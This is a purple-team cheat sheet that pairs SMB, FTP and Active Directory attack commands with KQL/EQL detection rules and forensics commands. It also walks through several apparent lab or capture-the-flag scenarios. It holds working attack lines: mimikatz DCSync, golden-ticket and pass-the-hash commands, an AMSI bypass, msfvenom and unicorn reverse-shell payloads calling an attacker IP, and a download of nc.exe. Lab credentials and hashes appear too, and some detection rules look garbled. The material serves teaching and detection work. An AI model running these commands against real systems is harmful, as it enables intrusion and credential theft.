Purple Teaming

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Purple Team Cheat Sheet: SMB Attacks and Detection

SMB Attack Commands

Attack Type	Command	Description
Enumerating Shares	smbclient -L \\\\TARGET_IP	Lists SMB shares on the target.
Null Session	rpcclient -U "" -N TARGET_IP	Connects to the target with a null session.
Brute Force	crackmapexec smb TARGET_IP -u users.txt -p passwords.txt	Brute-forces SMB credentials.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4624	An account was successfully logged on.	`SecurityEvent
4648	A logon was attempted using explicit credentials.	`SecurityEvent
5145	A network share object was checked to see whether client can be granted desired access.	`SecurityEvent

Forensics Commands and Codes

Command	Description
log2timeline.py	Extracts timeline from forensic images.
psort.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Sorts events in the plaso file and outputs to CSV.
fls -r -m "/" image.E01 > bodyfile	Generates a body file from an image.

KQL Rule: Suspicious SMB Login

SecurityEvent
| where EventID == 4624 and LogonType == 3
| where AccountName != "known_good_account"
| project AccountName, IpAddress, TimeGenerated

EQL Rule: Excessive SMB Failures

sequence by AccountName, IpAddress
  [any where EventID == 4625]
  [any where EventID == 4625] by AccountName, IpAddress
| where sequence.count > 20

KQL Rule: Unusual SMB Traffic

NetworkTraffic
| where Protocol == "SMB" and not(ipAddress in ("known_good_ip_list"))
| summarize Count = count() by IpAddress, Port
| where Count > threshold_value

Purple Team Cheat Sheet: FTP Attacks and Detection

FTP Attack Commands

Attack Type	Command	Description
Anonymous Login	ftp TARGET_IP then enter anonymous as user	Attempts anonymous login to FTP server.
Brute Force	hydra -l user -P passlist.txt ftp://TARGET_IP	Brute-forces FTP credentials.
File Upload	ftp TARGET_IP then use put filename	Uploads a file to the FTP server.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4625	An account failed to log on.	`SecurityEvent
4648	A logon was attempted using explicit credentials.	`SecurityEvent
5156	The Windows Filtering Platform has permitted a connection.	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 21 -w ftp_traffic.pcap	Captures FTP traffic on port 21.
plaso -o l2tcsv -f ftp_traffic.pcap -w output.csv	Processes pcap file with Plaso for timeline analysis.
grep -i 'ftp' forensic_image.raw	Searches for FTP-related strings in a forensic image.

KQL Rule: Suspicious FTP Login Attempts

SecurityEvent
| where EventID == 4625 and NetworkInformation.Protocol == "FTP"
| summarize Count = count() by AccountName, IpAddress
| where Count > threshold_value

EQL Rule: FTP Brute Force Detection

sequence by AccountName, IpAddress
  [any where EventID == 4625 and NetworkInformation.Protocol == "FTP"]
  [any where EventID == 4625 and NetworkInformation.Protocol == "FTP"] by AccountName, IpAddress
| where sequence.count > 20

KQL Rule: Unusual FTP File Uploads

SecurityEvent
| where EventID == 5156 and ApplicationInformation.ApplicationProtocol == "FTP"
| where NetworkInformation.Direction == "Outbound" and NetworkInformation.Port == 21
| summarize Count = count() by FileName, IpAddress
| where Count > threshold_value

Attack Techniques and Commands

Attack Technique	Command	Description
LLMNR Poisoning	Responder -I eth0 -wrf	Uses Responder to poison LLMNR requests.
AS-REP Roasting	GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -outputfile asrep_hashes	Extracts AS-REP hashes for users without pre-authentication.
ForceChangePassword	Set-DomainUserPassword -Identity user -AccountPassword (ConvertTo-SecureString 'NewPass!' -AsPlainText -Force)	Forces a password change for a domain user.
GenericWrite	Add-DomainObjectAcl -TargetIdentity "DOMAIN\Group" -PrincipalIdentity "Attacker" -Rights All	Modifies permissions for a domain object.
Password Spraying	crackmapexec smb DOMAIN -u users.txt -p 'Password123' --continue-on-success	Attempts to log in with a common password.
RunForrestRun.exe	.\RunForrestRun.exe -Domain DOMAIN -User user -Password 'Password123'	Executes RunForrestRun for lateral movement.
Abusing Vulnerable GPO	New-GPOImmediateTask -Name "MaliciousTask" -Command "cmd.exe" -Arguments "/c evil_script.bat"	Creates a GPO to run a malicious task.
Abusing MSSQL Service	Invoke-SQLOSCmd -Instance "MSSQLSERVER" -Command "net localgroup Administrators /add DOMAIN\user"	Executes a command via SQL Server.
Abusing Domain Trusts	Get-DomainTrustMapping -API	Enumerates and abuses domain trusts.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4742	A computer account was changed.	`SecurityEvent
4624	An account was successfully logged on.	`SecurityEvent
4672	Special privileges assigned to new logon.	`SecurityEvent
4688	A new process has been created.	`SecurityEvent
5145	A network share object was checked.	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 445 or port 139 -w smb_traffic.pcap	Captures SMB traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting Malicious Patterns

KQL Rule: LLMNR Poisoning Detection

SecurityEvent
| where EventID == 5145 and ShareName == '\\*\\IPC$'
| summarize Count = count() by AccountName, IpAddress
| where Count > threshold_value

EQL Rule: AS-REP Roasting Activity

sequence by AccountName
  [any where EventID == 4768 and TicketOptions == '0x40810000']
  [any where EventID == 4769] by AccountName
| where sequence.count > 5

KQL Rule: Unusual Process Execution

SecurityEvent
| where EventID == 4688 and NewProcessName contains 'RunForrestRun.exe'
| project AccountName, NewProcessName, CommandLine

Attack Techniques and Commands

Attack Technique	Command	Description
Service Permission	sc.exe sdset SERVICE_NAME DACL_string	Modifies service permissions.
ForceChangePassword	Set-DomainUserPassword -Identity user -AccountPassword (ConvertTo-SecureString 'NewPass!' -AsPlainText -Force)	Forces a password change for a domain user.
Abuse ACLs	Add-DomainObjectAcl -TargetIdentity "DOMAIN\Group" -PrincipalIdentity "Attacker" -Rights All	Modifies ACLs for domain objects.
Abuse SQL Instance	Invoke-SQLOSCmd -Instance "MSSQLSERVER" -Command "malicious_command"	Executes commands via SQL Server instance.
Abuse Service	sc.exe create evilservice binPath= "cmd.exe /c evil_script.bat"	Creates a malicious service.
Pass the Ticket	mimikatz.exe "kerberos::ptt ticket.kirbi"	Uses stolen Kerberos tickets for authentication.
Golden Ticket	mimikatz.exe "kerberos::golden /user:Administrator /domain:DOMAIN /sid:SID /krbtgt:KRBTGT_HASH /id:500"	Creates a Golden Ticket for domain persistence.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4672	Special privileges assigned to new logon.	`SecurityEvent
4688	A new process has been created.	`SecurityEvent
4728	A member was added to a security-enabled global group.	`SecurityEvent
4768	Kerberos Authentication Ticket (TGT) was requested.	`SecurityEvent
4769	Kerberos Service Ticket (TGS) was requested.	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 88 -w kerberos_traffic.pcap	Captures Kerberos traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting Malicious Patterns

KQL Rule: Unusual Service Creation

SecurityEvent
| where EventID == 4688 and NewProcessName contains 'sc.exe'
| where CommandLine contains 'create' and CommandLine contains 'binPath='
| project AccountName, NewProcessName, CommandLine

EQL Rule: Abnormal Kerberos Ticket Requests

sequence by AccountName
  [any where EventID == 4768]
  [any where EventID == 4769] by AccountName
| where sequence.count > threshold_value

KQL Rule: Suspicious ACL Modifications

SecurityEvent
| where EventID == 4728 or EventID == 4732 or EventID == 4756
| where MemberName contains 'Attacker' or MemberSid contains 'S-1-5-21'
| project TimeGenerated, MemberName, TargetUserName, TargetDomainName

Attack Techniques and Commands

Attack Technique	Command	Description
Always Elevated	Set-ADObject -Identity user -Replace @{msDS-AllowedToActOnBehalfOfOtherIdentity='SDDL_string'}	Modifies AD object to grant elevated privileges.
Constrained Delegation	Set-ADComputer -Identity target -PrincipalsAllowedToDelegateToAccount attacker	Sets constrained delegation on a target computer.
Unconstrained Delegation Print Bug	Rubeus.exe monitor /interval:30 /nowrap	Monitors for TGTs if unconstrained delegation is enabled.
Cross Trust	Get-DomainTrust -Domain target_domain	Enumerates trust relationships between domains.
Abuse MSSQL Service	Invoke-SQLOSCmd -Instance "MSSQLSERVER" -Command "malicious_command"	Executes commands via SQL Server instance.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4672	Special privileges assigned to new logon.	`SecurityEvent
4768	Kerberos Authentication Ticket (TGT) was requested.	`SecurityEvent
4769	Kerberos Service Ticket (TGS) was requested.	`SecurityEvent
4624	An account was successfully logged on.	`SecurityEvent
5145	A network share object was checked.	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 88 -w kerberos_traffic.pcap	Captures Kerberos traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting Malicious Patterns

KQL Rule: Unusual Privilege Escalation

SecurityEvent
| where EventID == 4672
| where AccountName != "known_good_accounts"
| project AccountName, TimeGenerated, ProcessName

EQL Rule: Suspicious Delegation Use

sequence by AccountName
  [any where EventID == 4768]
  [any where EventID == 4769] by AccountName
| where sequence.count > threshold_value

KQL Rule: Abnormal SQL Server Command Execution

SecurityEvent
| where EventID == 4688 and NewProcessName contains 'sqlservr.exe'
| where CommandLine contains 'malicious_command'
| project AccountName, NewProcessName, CommandLine

Attack Techniques and Commands

Attack Technique	Command	Description
Bypass AMSI	GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)	Disables AMSI in a PowerShell session.
Always Elevated	Set-ADObject -Identity user -Replace @{msDS-AllowedToActOnBehalfOfOtherIdentity='SDDL_string'}	Modifies AD object to grant elevated privileges.
Constrained Delegation	Set-ADComputer -Identity target -PrincipalsAllowedToDelegateToAccount attacker	Sets constrained delegation on a target computer.
Pass the Ticket	mimikatz.exe "kerberos::ptt ticket.kirbi"	Uses stolen Kerberos tickets for authentication.
Abuse SQL Instance	Invoke-SQLOSCmd -Instance "MSSQLSERVER" -Command "malicious_command"	Executes commands via SQL Server instance.
Abuse GPO	New-GPOImmediateTask -Name "MaliciousTask" -Command "cmd.exe" -Arguments "/c evil_script.bat"	Creates a GPO to run a malicious task.
DSync Attack	mimikatz.exe "lsadump::dcsync /user:domain\krbtgt"	Extracts credentials from AD using DCSync.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4104	PowerShell script block logging.	`SecurityEvent
4672	Special privileges assigned to new logon.	`SecurityEvent
4768	Kerberos Authentication Ticket (TGT) was requested.	`SecurityEvent
4688	A new process has been created.	`SecurityEvent
5145	A network share object was checked.	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 88 -w kerberos_traffic.pcap	Captures Kerberos traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting Malicious Patterns

KQL Rule: AMSI Bypass Detection

SecurityEvent
| where EventID == 4104
| where ScriptBlockText contains 'amsiInitFailed'
| project TimeGenerated, Computer, AccountName, ScriptBlockText

EQL Rule: Unusual Kerberos Ticket Requests

sequence by AccountName
  [any where EventID == 4768]
  [any where EventID == 4769] by AccountName
| where sequence.count > threshold_value

KQL Rule: Suspicious SQL Command Execution

SecurityEvent
| where EventID == 4688 and NewProcessName contains 'sqlservr.exe'
| where CommandLine contains 'malicious_command'
| project AccountName, NewProcessName, CommandLine

Purple Team Cheat Sheet: Comprehensive Attack Scenario

Attack Techniques and Commands

Attack Technique	Command	Description
Map Scanning	nmap -sC -sV -oA map/result 10.10.10.210	Scans the target for open ports and services.
Gobuster Directory Scanning	gobuster dir -u https://10.10.10.210 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -t 50	Enumerates directories on the web server.
Gathering Usernames	Gather usernames manually and create a user.txt file	Collects usernames for further attacks.
Password Spraying	python3 atomizer.py owa 10.10.10.210 pass.txt user.txt -i 0:0:01	Attempts to log in with common passwords.
Sending Phishing Emails	Use Outlook to send phishing emails and capture NTLMv2 hash with Responder	Executes a phishing campaign.
Cracking NTLMv2 Hash	hashcat -m 5600 hash /us/share/wordlists/rockyou.txt -force	Cracks captured NTLMv2 hashes.
PowerShell Remote Session	Soffsec_session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential k.svensson	Establishes a remote PowerShell session.
Creating a Symlink	New-Item -ItemType Junction -Path 'C:\ProgramData\root' -Target 'C:\Users\Administrator'	Creates a symbolic link to escalate privileges.
Using Check-File Command	Check-File C:\programdata\root\Desktop\root.txt	Checks for the presence of a specific file.
Transferring Files with nc.exe	iwr -uri http://10.10.xx.xx/nc.exe -o 'C:\Windows\System32\spool\drivers\color\nc.exe'	Transfers files using nc.exe.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4624	An account was successfully logged on.	`SecurityEvent
4688	A new process has been created.	`SecurityEvent
5145	A network share object was checked.	`SecurityEvent
4720	A user account was created.	`SecurityEvent
1102	The audit log was cleared.	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 80 -w http_traffic.pcap	Captures HTTP traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting Malicious Patterns

KQL Rule: Unusual Network Traffic

NetworkTraffic
| where DestinationPort == 80 or DestinationPort == 443
| summarize Count = count() by DestinationIP, DestinationPort
| where Count > threshold_value

EQL Rule: Suspicious Process Creation

sequence by Hostname, AccountName
  [process where EventID == 4688 and NewProcessName contains 'nc.exe']
  [process where EventID == 4688 and NewProcessName contains 'powershell.exe'] by Hostname, AccountName
| where sequence.count > 5

KQL Rule: Abnormal File Access

SecurityEvent
| where EventID == 5145
| where ShareName contains 'C$' or ShareName contains 'ADMIN$'
| project AccountName, ShareName, FileName, IpAddress

Purple Team Cheat Sheet: Web-Based Attack Scenario

Attack Techniques and Commands

Attack Technique	Command	Description
Nmap Scanning	nmap -sC -sV -oA nmap/result 10.10.10.211	Scans the target for open ports and services.
Web Enumeration with Wappalyzer	Use Wappalyzer to identify backend technologies	Identifies technologies used on the web server.
Analyzing .git Directory	Check the Gemfile in the git directory for Ruby and Gem versions	Analyzes the .git directory for sensitive information.
Exploiting Ruby on Rails	Use a Ruby on Rails exploit	Exploits vulnerabilities in Ruby on Rails.
Capturing Request in Burp	Capture the request and modify it with the exploit	Captures and modifies HTTP requests for exploitation.
Getting a Reverse Shell	Use netcat listener and send the exploit to get a reverse shell	Gains shell access on the target system.
Cracking Password Hashes	Use John the Ripper to crack password hashes found in /var/backups	Cracks password hashes to gain credentials.
Bypassing Two-Factor Authentication	Use the contents of .google_authenticator to bypass two-factor authentication	Bypasses 2FA using the .google_authenticator file.
Synchronizing Time for Exploit	Adjust the system time to match the timezone for the exploit to work	Synchronizes system time for time-based exploits.
Gaining Root Access with GTFOBins	sudo gem open -e "/bin/sh -c /bin/sh" rdoc to gain root access	Uses GTFOBins for privilege escalation.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4624	An account was successfully logged on.	`SecurityEvent
4688	A new process has been created.	`SecurityEvent
5145	A network share object was checked.	`SecurityEvent
4720	A user account was created.	`SecurityEvent
1102	The audit log was cleared.	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 80 -w http_traffic.pcap	Captures HTTP traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting Malicious Patterns

KQL Rule: Unusual Network Traffic

NetworkTraffic
| where DestinationPort == 80 or DestinationPort == 443
| summarize Count = count() by DestinationIP, DestinationPort
| where Count > threshold_value

EQL Rule: Suspicious Process Creation

sequence by Hostname, AccountName
  [process where EventID == 4688 and NewProcessName contains 'nc.exe']
  [process where EventID == 4688 and NewProcessName contains 'powershell.exe'] by Hostname, AccountName
| where sequence.count > 5

KQL Rule: Abnormal File Access

SecurityEvent
| where EventID == 5145
| where ShareName contains 'C$' or ShareName contains 'ADMIN$'
| project AccountName, ShareName, FileName, IpAddress

Purple Team Cheat Sheet: Recon to Exploitation Scenario

Attack Techniques and Commands

Stage	Technique	Command	Description
Recon	Nmap Scanning	nmap -sV -sC -oN nmap 10.10.10.237	Scans the target for open ports and services.
Recon	File Analysis	file headv1\\Setup\\1.0.0.exe	Analyzes the executable file for type and content.
Recon	SMB Enumeration	smbclient -L \\\\10.10.10.237	Enumerates SMB shares on the target.
Recon	SMB File Transfer	smbclient \\\\10.10.10.237\\Software_Updates then get UAT_Testing_Procedures.pdf	Transfers files via SMB.
Exploitation	Crafting Malicious Binary	msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.30 LPORT=9001 -f exe -o "rspoof.exe"	Creates a reverse shell executable.
Exploitation	YML File Creation	Manual creation of latest.yml file	Creates a .yml file for the exploit.
Exploitation	SMB File Transfer	smbclient \\\\10.10.10.237\\Software_Updates then put latest.yml	Uploads .yml file via SMB.
Exploitation	Reverse Shell	Use Metasploit to listen for the reverse shell	Listens for an incoming reverse shell connection.
Exploitation	Redis Exploitation	redis-cli -h 10.10.10.237 then get pk:urn:user:e8e29158-d70d-44b1-alba-4949d52790a0	Exploits Redis to retrieve data.
Exploitation	Password Decryption	python3 decrypt.py with the script provided in the summary	Decrypts a password using a provided script.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4624	An account was successfully logged on.	`SecurityEvent
4688	A new process has been created.	`SecurityEvent
5145	A network share object was checked.	`SecurityEvent
1102	The audit log was cleared.	`SecurityEvent
4768	Kerberos Authentication Ticket (TGT) was requested.	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 445 -w smb_traffic.pcap	Captures SMB traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting Malicious Patterns

KQL Rule: Unusual SMB Traffic

SecurityEvent
| where EventID == 5145
| where ShareName contains 'Software_Updates'
| project AccountName, ShareName, FileName, IpAddress

EQL Rule: Suspicious Process Execution

sequence by Hostname, AccountName
  [process where EventID == 4688 and NewProcessName contains 'rspoof.exe']
  [process where EventID == 4688 and NewProcessName contains 'redis-cli'] by Hostname, AccountName
| where sequence.count > 2

KQL Rule: Abnormal File Access Patterns

SecurityEvent
| where EventID == 5145
| where FileName contains 'latest.yml' or FileName contains 'UAT_Testing_Procedures.pdf'
| project TimeGenerated, AccountName, FileName, IpAddress

Purple Team Cheat Sheet: Credential and Connection Scenario

Attack Techniques and Commands

Stage	Technique	Command	Description
Credential Dumping	Enumerating Credentials	Get-ChildItem C:\Users\epugh\AppData\Local\Microsoft\Credentials\ -force	Enumerates credentials on WSO2.
Credential Dumping	Using Mimikatz	Upload mimikatz.exe and execute sekurlsa::dpapi to get the master key	Dumps credentials using Mimikatz.
Credential Decryption	Decrypting Credentials	dpapi::cred /in: C:\users\epugh\AppData\Local\Microsoft\Credentials\936A68B5AC87C545C4A22D1AF264C8E9 /masterkey: 40fc84	Decrypts credentials.
Port Forwarding	Setting up Port Forwarding	portfwd add -L 10.10.14.83 -I 10.10.122.15 -l 3389 -p 3389	Sets up port forwarding.
RDP Connection	Connecting via RDP with Remmina	Install Remmina, import sq101.rdp, change host, export to rdp file	Connects via RDP using Remmina.
RDP Connection	Using FreeRDP	xfreerdp sql.rdp /u: epugh_adm /d:rastalabs.local	Connects via RDP using FreeRDP.

Detection: Event Codes, KQL/EQL, Sysmon, and Wazuh Rules

Event Code	Description	KQL/EQL Rule	Sysmon/Wazuh Rule
4624	An account was successfully logged on.	`SecurityEvent	where EventID == 4624`
4688	A new process has been created.	`SecurityEvent	where EventID == 4688`
5145	A network share object was checked.	`SecurityEvent	where EventID == 5145`
4672	Special privileges assigned to new logon.	`SecurityEvent	where EventID == 4672`
3389	RDP Connection Attempt.	`NetworkTraffic	where DestinationPort == 3389`

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 3389 -w rdp_traffic.pcap	Captures RDP traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL/EQL Rules for Detecting Malicious Patterns

KQL Rule: Unusual Credential Access

SecurityEvent
| where EventID == 4688 and NewProcessName contains 'mimikatz.exe'
| project TimeGenerated, AccountName, NewProcessName, CommandLine

EQL Rule: Suspicious RDP Activity

sequence by Hostname, AccountName
  [network where DestinationPort == 3389]
  [process where EventID == 4688 and NewProcessName contains 'xfreerdp'] by Hostname, AccountName
| where sequence.count > 2

Sysmon/Wazuh Rule: Mimikatz Execution Detection

- rule.id: 1
  field: process.name
  value: mimikatz.exe

Purple Team Cheat Sheet: Credential and Exploitation Scenario

Attack Techniques and Commands

Stage	Technique	Command	Description
Credential Enumeration	Finding LAPS Group Members	Enumeration to find ngodfrey_adm is part of LAPS group on WS05	Identifies LAPS group members.
Credential Access	Dumping Credentials with PowerSploit	powershell -ep bypass then Import-module /PowerSploit.psd1	Dumps credentials using PowerSploit.
Credential Access	Using Credentials for Access	$SecPassword = ConvertTo-SecureString "J5KCwKruINyCJBKd1dZU" -AsPlainText -Force then $cred = New-Object System.Management.Automation.PSCredential ('rastalabs.local\\ngodfrey_adm', $SecPassword)	Uses dumped credentials for access.
Credential Access	Getting AD Object with Credentials	Get-ADObject -Name web01 -DomainController 10.10.120.1 -Credential $Cred	Retrieves AD objects using credentials.
Local Admin Passwords	Retrieving Local Admin Passwords	Passwords are listed for WS01, WS02, WSO3, WSO4, WSO5	Retrieves local admin passwords.
Port Forwarding	Setting up Port Forwarding with Meterpreter	portfwd add -L 10.10.14.83 -I 10.10.121.101 -l 447 -p 445 and similar for other ports	Sets up port forwarding using Meterpreter.
Exploitation	Using MS17-010 Exploit	exploit/windows/smb/ms17_010_psexec with lport 80, 443, 8080	Exploits MS17-010 for admin shell.
Flag Retrieval	Retrieving Flags	Flags are RASTA{3v3rybOdy_10v35_14p5}, RASTA-wh3¼3_w45_2£4_!?3, RASTA-50m371m35.yOu_mu57_b4ck714ck}	Retrieves flags from WS02 and WS04.
Post-Exploitation	Running Mimikatz	privilege::debug then sekurlsa::logonPasswords	Runs Mimikatz on WS02 to dump credentials.

Detection: Event Codes and KQL Rules

Event Code	Description	KQL Rule
4624	An account was successfully logged on.	`SecurityEvent
4688	A new process has been created.	`SecurityEvent
5145	A network share object was checked.	`SecurityEvent
4672	Special privileges assigned to new logon.	`SecurityEvent
7045	A new service was installed.	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 445 -w smb_traffic.pcap	Captures SMB traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL Rules for Detecting Malicious Patterns

KQL Rule: Unusual Credential Access

SecurityEvent
| where EventID == 4688 and NewProcessName contains 'powershell.exe'
| where CommandLine contains 'ConvertTo-SecureString' or CommandLine contains 'Get-ADObject'
| project TimeGenerated, AccountName, NewProcessName, CommandLine

KQL Rule: Suspicious Port Forwarding Activity

SecurityEvent
| where EventID == 4688 and NewProcessName contains 'portfwd.exe'
| project TimeGenerated, AccountName, NewProcessName, CommandLine

KQL Rule: Exploitation Attempts Detection

SecurityEvent
| where EventID == 7045 and ServiceName contains 'ms17_010_psexec'
| project TimeGenerated, ServiceName, ServiceFileName

Purple Team Cheat Sheet: Phishing to Network Recon Scenario

Attack Techniques and Commands

Stage	Technique	Command	Description
Phishing	Creating Phishing HTA	python unicorn.py windows/meterpreter/reverse_https 10.10.14.83 443 hta	Generates a phishing HTA file.
Web Server Setup	Hosting HTA on Apache2	copy index.html launcher.hta /var/www/html; service apache2 start	Hosts the HTA file on Apache2 server.
Listener Setup	Setting up Metasploit Listener	msfconsole -r unicorn.rc	Sets up a listener in Metasploit.
Share Enumeration	Viewing Shares on Network	net share	Enumerates shared resources on the network.
User Enumeration	Displaying Domain User Accounts	net user /domain	Lists user accounts on the domain.
User Information	Viewing User Info	net user [username] /domain	Displays information about a specific domain user.
Group Enumeration	Viewing Domain Group Members	net group finance /domain	Lists members of a specific domain group.
Drive Enumeration	Listing Logical Drives	fsutil fsinfo drives; wmic logicaldisk get name; diskpart > list volume	Enumerates logical drives on the system.
Network Recon	Pinging Servers for IP Addresses	ping DC01; ping FS01; ...; ping WS05	Pings servers to discover IP addresses.
Flag Retrieval	Accessing the Flag	Flag is XYZ located in M:\\Documents	Retrieves a flag from a specified location.
KeePass Database	Found KeePass Database and Key File	Located KeePass database and key file	Identifies KeePass database and key file.

Detection: Event Codes and KQL Rules

Event Code	Description	KQL Rule
4624	An account was successfully logged on.	`SecurityEvent
4688	A new process has been created.	`SecurityEvent
5145	A network share object was checked.	`SecurityEvent
4768	Kerberos Authentication Ticket (TGT) was requested.	`SecurityEvent
1102	The audit log was cleared.	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 80 -w http_traffic.pcap	Captures HTTP traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL Rules for Detecting Malicious Patterns

KQL Rule: Suspicious Web Server Activity

SecurityEvent
| where EventID == 4688 and NewProcessName contains 'apache2'
| project TimeGenerated, AccountName, NewProcessName, CommandLine

KQL Rule: Unusual Network Share Access

SecurityEvent
| where EventID == 5145
| where ShareName != 'known_good_shares'
| project TimeGenerated, AccountName, ShareName, FileName, IpAddress

KQL Rule: Abnormal User Enumeration Activity

SecurityEvent
| where EventID == 4688 and CommandLine contains 'net user' and CommandLine contains '/domain'
| project TimeGenerated, AccountName, CommandLine

Attack Techniques and Commands

Stage	Technique	Command	Description
Credential Use	Using epugh_adm Credentials	Log in to web01 (10.10.110.10) and then RDP to sq101 (10.10.122.15) using epugh_adm creds	Uses credentials to access multiple systems.
Lateral Movement	RDP with gopikrishna	RDP to fs01 with user gopikrishna [local admin]	Uses RDP for lateral movement.
Malware Execution	Running pOwnedshell.exe	Run pOwnedshell.exe with admin cmd	Executes malware with administrative privileges.
Credential Dumping	Invoke Mimikatz from pOwnedshell	Use option 4 in pOwnedshell, invoke Mimikatz to get rweston_da NTLM hash	Dumps credentials using Mimikatz.
Credential Use	Pass-the-Hash with Mimikatz	sekurlsa::pth /user: rweston_da /domain:rastalabs.local /ntlm:3ff61fa259deee15e4042159d7b832fa	Uses pass-the-hash technique for authentication.
Golden Ticket Attack	Perform DCSync	Use option 10 in pOwnedshell, perform DCSync	Extracts krbtgt hash for Golden Ticket creation.
Golden Ticket Attack	Generate Golden Ticket	kerberos::golden /domain:rastalabs.local /user: rweston_da /sid:S-1-5-21-1396373213-2872852198-2033860859 /krbtgt:1b6e14bc52b67a235717938a8bbcebib /ticket:C:\\Users\\GOPIKR~1\\Desktop\\rweston_da.ticket	Creates a Golden Ticket for domain access.
Golden Ticket Attack	Use Golden Ticket	kerberos::ptt C:\\Users\\GOPIKR~1\\Desktop\\rweston_da.ticket	Uses the Golden Ticket for authentication.

Detection: Event Codes and KQL Rules

Event Code	Description	KQL Rule
4624	An account was successfully logged on.	`SecurityEvent
4688	A new process has been created.	`SecurityEvent
5145	A network share object was checked.	`SecurityEvent
4768	Kerberos Authentication Ticket (TGT) was requested.	`SecurityEvent
4672	Special privileges assigned to new logon.	`SecurityEvent

Forensics Commands and Codes

Command	Description
tcpdump -i eth0 port 3389 -w rdp_traffic.pcap	Captures RDP traffic for analysis.
volatility -f memory_dump.raw --profile=Win10x64_18362 netscan	Scans for network artifacts in a memory dump.
log2timeline.py -z UTC -o L2tcsv timeline.plaso -w timeline.csv	Extracts timeline from forensic images.

Full Raw KQL Rules for Detecting Malicious Patterns

KQL Rule: Suspicious RDP Activity

SecurityEvent
| where EventID == 4624 and LogonType == 10
| where AccountName == "gopikrishna" or AccountName == "epugh_adm"
| project TimeGenerated, AccountName, IpAddress

KQL Rule: Abnormal Process Execution

SecurityEvent
| where EventID == 4688 and NewProcessName contains 'pOwnedshell.exe'
| project TimeGenerated, AccountName, NewProcessName, CommandLine

KQL Rule: Golden Ticket Usage Detection

SecurityEvent
| where EventID == 4768 and TicketOptions has '0x40810000'
| project TimeGenerated, AccountName, ServiceName, TicketOptions

Purple Team Cheat Sheet: Golden Ticket Attack Scenario

Attack Technique and Command

Technique	Command	Description
Golden Ticket Attack	mimikatz.exe "kerberos::golden /user:Administrator /domain:yourdomain.com /sid:S-1-5-21-XXXXXX-XXXXXX-XXXXXX /krbtgt:XXXXXX /id:500 /ptt"	Generates a Golden Ticket using Mimikatz.

Detection: Event Codes and KQL/EQL Rules

Event Code	Description	KQL/EQL Rule
4768	Kerberos TGT Requested	`SecurityEvent
4672	Special Privileges Assigned to New Logon	`SecurityEvent
4624	Successful Account Logon	`SecurityEvent

Forensics Commands and Codes

Command	Description
